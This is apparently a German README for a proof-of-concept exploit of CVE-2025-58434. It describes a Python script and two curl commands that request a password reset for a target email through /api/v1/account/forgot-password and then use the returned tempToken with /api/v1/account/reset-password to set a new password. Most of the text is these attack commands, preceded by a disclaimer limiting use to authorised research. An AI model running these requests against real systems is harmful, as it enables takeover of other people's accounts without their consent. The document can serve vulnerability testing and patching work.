
CVE-2025-58434 Proof of Concept
Python Proof-of-Concept-Skript zum Auslösen von POST /api/v1/account/forgot-password.
⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Die Verwendung dieses Tools gegen Systeme, die Ihnen nicht gehören oder für deren Test Sie keine schriftliche Genehmigung haben, ist illegal.
zaddy6 (Isaac David)arthurgervais (Arthur Gervais)CVE-2025-58434poc.py: fordert zur Eingabe von Maschinen-URL/IP, optionalem Protokoll bei bloßer Host/IP, Ziel-E-Mail und Passwort auf; sendet dann die Anfrage und gibt HTTP-Status, Header und Antworttext aus, ähnlich wie curl -iAusführen:
python3 poc.py
Danach angeben:
10.10.11.10, http://10.10.11.10 oder https://target.examplecurl -i -X POST https://<MACHINE_URL/IP>/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"<[email protected]>"}}'
curl -i -X POST https://<target>/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{
"user":{
"email":"<[email protected]>",
"tempToken":"<tempToken>",
"password":"NewSecurePassword123!"
}
}'